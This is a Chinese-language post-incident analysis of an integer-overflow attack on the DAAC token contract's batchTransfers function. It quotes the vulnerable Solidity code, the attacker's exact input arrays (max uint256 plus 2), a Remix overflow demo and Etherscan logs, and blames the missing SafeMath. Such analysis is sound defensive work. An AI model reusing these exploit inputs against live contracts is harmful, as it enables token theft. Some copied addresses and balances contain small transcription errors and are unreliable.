

攻击者输入的参数为:

receivers address[] 5bdd5dae9282700c88f3437df60a8a8917134ff2, 1a2228110522c194eaf2ab215789f8b5f093740  
amounts uint256[] 115792089237316195423570985008687907853269984665640564039457584007913129639935, 2

数据输入:

#	Name	Type	Data
0	receivers	address[]	5bdd5dae9282700c88f3437df60a8a8917134ff2 1a2228110522c194eaf2ab215789f8b5f093740
1	amounts	uint256[]	115792089237316195423570985008687907853269984665640564039457584007913129639935 2

Decoded input inspired by Canoe Solidity

切换回来

其中 115792089237316195423570985008687907853269984665640564039457584007913129639935 为 `uint256 - 1`

通过对函数 `batchTransfers` 分析可知，该函数实现批量转账功能，通过对输入的数组账户地址和数组代币量进行批量转账。在第535行对数组总代币数量进行叠加计算，注意这里直接把输入的代币数量进行了算术运算，并未使用`safeMath`方法。通过上面攻击者的输入参数 115792089237316195423570985008687907853269984665640564039457584007913129639935, 2 可知，在for循环的地539行发生了无符号算术溢出，即 `uint256(115792089237316195423570985008687907853269984665640564039457584007913129639935) + uint256(2) = uint256(1)`，所以变量 `totalAmount` 的值经过for循环运算后变为 1。

```
526 //address1 balances 248
527 function batchTransfers (address[] memory receivers, uint256[] memory amounts) public whenRunning returns (bool) {
528     uint receiveLength = receivers.length; // address1, address2
529     require(receiveLength == amounts.length); // [uint256 -1 , uint256(2)] = 1
530
531     uint receiverCount = 0;
532     uint256 totalAmount = 0;
533     uint i;
534     address r;
535     for (i = 0; i < receiveLength; i++) {
536         r = receivers[i];
537         if (r == address(0) || r == owner) continue;
538         receiverCount++;
539         totalAmount += amounts[i]; // 1
540     }
541     require(totalAmount > 0); // 1
542     require(canPay(msg.sender, totalAmount)); //1
543
544     wallets[msg.sender] -= totalAmount; // 24799999
545     uint256 amount;
546     for (i = 0; i < receiveLength; i++) {
547         r = receivers[i];
548         if (r == address(0) || r == owner) continue;
549         amount = amounts[i];
550         if (amount == 0) continue;
551         wallets[r] = wallets[r].add(amount);
552         emit Transfer(msg.sender, r, amount);
553     }
554     return true;
555 }
```

关于无符号整数回绕问题，这里以Go语言为例子，其他静态语言如c/c++(solidity用c++实现)，拥有同样的问题。

Go中存在无符号整数使用不当所导致的问题。下表中列出ANSI标准定义无符号整数类型及范围

类型	位数	取值范围
uint8	8	0 到 255
uint16	16	0 到 65535
uint32	32	0 到 4294967295
uint64	64	0 到 18446744073709552000

涉及无符号整数的计算当数值超过无符号整数的取值范围时会发生回绕。如：无符号整数的最大值加1会返回0，而无符号整数最小值减1则会返回该类型的最大值。造成无符号整数运算回绕的操作符有“+”、“-”、“\*”、“++”、“--”、“+=”、“-=”、“\*=”、“<=”、“<”等。

编写测试智能合约无符号整数溢出测试代码，通过传入参数 115792089237316195423570985008687907853269984665640564039457584007913129639935 参与运算后可知，参数`storedData`成功溢出为 1 ,这也是DAAC智能合约函数 `batchTransfers` 中攻击者输入的参数。

remix

DEPLOY & RUN TRANSACTIONS

Environment: JavaScript VM

Account: 0xca3...a733c (99.1%)

Gas limit: 3000000

Value: 0 wei

JiguangStorage

Deploy

or

At Address Load contract from Address

Transactions recorded: 3

Deployed Contracts

JiguangStorage at 0x9dd...d44d

get

set 11579208923731619!

Home Tokens.sol

```
1 pragma solidity ^0.5.1;
2
3 contract JiguangStorage {
4
5     uint256 storedData;
6
7     function set(uint256 x) public returns (bool){
8         storedData = x + 2; // 115792089237316195423570985008687907853269984665640564039457584007913129639935
9         return true;
10    }
11    function get() public returns (uint256 retVal) {
12        return storedData;
13    }
14 }
```

listen on network

Search with transaction hash or address

hash	0x2f5e676bdf4163c276755e9648d09691cf0deed1a2378bcff3012af1365c25a
input	0x6d4...ce63c
decoded input	{}
decoded output	{ "0": "uint256: retVal 1" }
logs	[ ]
value	0 wei

回到 `batchTransfers` 函数, 经过for运算后, `totalAmount` 成功溢出为 1, 通过了第541, 542行校验, 在第544行进行 `wallets[msg.sender] -= totalAmount;`, 实际上是 `wallets[msg.sender] -= 1;`, 即攻击者的代币数量只减少 1。然后通过第551行对地址 `r` 的代币数量进行增加, 增加的量是 `amounts[0]`, 通过前面的分析, 可知攻击者传入的 `amounts` 参数为 115792089237316195423570985008687907853269984665640564039457584007913129639935, 2, 即 `amounts[0] == 115792089237316195423570985008687907853269984665640564039457584007913129639935`, 所以这里是造成大量代币转移的主要原因。

```
526 //address1 balances 248
527 function batchTransfers (address[] memory receivers, uint256[] memory amounts) public whenRunning returns (bool) {
528     uint receiveLength = receivers.length; // address1, address2
529     require(receiveLength == amounts.length); // [uint256 -1, uint256(2)] = 1
530
531     uint receiverCount = 0;
532     uint256 totalAmount = 0;
533     uint i;
534     address r;
535     for (i = 0; i < receiveLength; i++) {
536         r = receivers[i];
537         if (r == address(0) || r == owner) continue;
538         receiverCount++;
539         totalAmount += amounts[i]; // 1
540     }
541     require(totalAmount > 0); // 1
542     require(canPay(msg.sender, totalAmount)); //1
543
544     wallets[msg.sender] -= totalAmount; // 24799999
545     uint256 amount;
546     for (i = 0; i < receiveLength; i++) {
547         r = receivers[i];
548         if (r == address(0) || r == owner) continue;
549         amount = amounts[i];
550         if (amount == 0) continue;
551         wallets[r] = wallets[r].add(amount);
552         emit Transfer(msg.sender, r, amount);
553     }
554     return true;
555 }
```

通过事件日志可知, `batchTransfers` 函数确实触发了两次 `Transfer`, 一次代币数量为 115792089237316195423570985008687907853269984665640564039457584007913129639935, 收件人为 0x5bdd5dae9282700c88f3437df60a8a8917134ff2。

交易收据事件日志

73

地址

0xa4112be97aca5b0cabf5e1efb35c99a0459b30c2

Q

名称

Transfer (index\_topic\_1 address from, index\_topic\_2 address to, uint256 value)

题目

0

0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

1

十六进制

→ 0x00000000000000000000000000000000f4c01cb969dbd5ca21dbd82016f289612d904731

2

十六进制

→ 0x000000000000000000000000000000005bdd5dae9282700c88f3437df60a8a8917134ff2

数据

Num

→ 1.15792089237316195423570985008687907853269984665640564039457584007913129639935e+77

74

地址

0xa4112be97aca5b0cabf5e1efb35c99a0459b30c2

Q

名称

Transfer (index\_topic\_1 address from, index\_topic\_2 address to, uint256 value)

题目

0

0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

1

十六进制

→ 0x00000000000000000000000000000000f4c01cb969dbd5ca21dbd82016f289612d904731

2

十六进制

→ 0x000000000000000000000000000000001a2228110522c194eaa2ab215789f8b5f093740

数据

Num

→ 2

8. balanceOf

↓

user (address)

0x5bdd5dae9282700c88f3437df60a8a8917134ff2

Query

uint256

[ balanceOf method Response ]

» uint256 : 115792089237316195423570985008687907853269984665640514039457584007913129639935

通过对攻击者地址 0xf4c01Cb969DBD5cA21DBD82016f289612d904731 分析可知，攻击者先是向自己的地址转入 248DAAC (小数18位)，然后攻击 batchTransfers 函数后，代币数量减少 wallets[msg.sender] -= 1; ,即攻击者的代币数量只减少 1，为 247999.... (18位9)。这也验证了前面的分析。最终攻击者通过漏洞函数 batchTransfers 向地址 0x5bdd5dae9282700c88f3437df60a8a8917134ff2 转走了 max(uint256) - 1 数量代币。攻击者之所以先向自己地址转入 248daac，目的是为了绕过 batchTransfers 函数中 require(canPay(msg.sender, totalAmount)); 的限制。

最新 3 ERC-20 代币 转移 事件

交易哈希值	块龄	发送方		接收方	价值	代币
0xa11ad2e8575e00...	20 小时 3 分钟前	0xf4c01cb969dbd5...	出	0x1a2228110522c1...	0.000000000000000002	Distributed ... (DAAC)
0xa11ad2e8575e00...	20 小时 3 分钟前	0xf4c01cb969dbd5...	出	0x5bdd5dae928270...	115,792,089,237,316,000,000,000,00...	Distributed ... (DAAC)
0x98b9e15041566a...	1 天 3 小时前	0x6485fc77be2186f...	进	0xf4c01cb969dbd5...	248	Distributed ... (DAAC)

[ 下载 CSV导出 ]

8. balanceOf

↓

user (address)

0xf4c01Cb969DBD5cA21DBD82016f289612d904731

Query

uint256

[ balanceOf method Response ]

>> uint256 : 2479999999999999999

分析总结

攻击者首先向自己的地址 0xf4c01Cb969DBD5cA21DBD82016f289612d904731 转入 248daac，绕过 batchTransfers 函数中 require(canPay(msg.sender, totalAmount)); 的限制，然后利用 batchTransfers 函数中无符号算术溢出，向地址 0x5bdd5dae9282700c88f3437df60a8a8917134ff2 转走了 max(uint256) - 1 数量代币。

思考

DAAC智能合约中，本身已经写了 SafeMath 函数用于安全算术运算，但在 batchTransfers 函数中却并未使用，而是直接使用了 + 运算符，造成了这次代币攻击。说明开发者的安全意识还是不够。只在 transfer 函数中使用了 SafeMath。

参考链接

- [1] DAAC
- <https://etherscan.io/address/0xA4112bE97aca5b0cAbf5e1EFB35C99A0459B30c2>
- [2] Go

无符号整数溢出回绕问题

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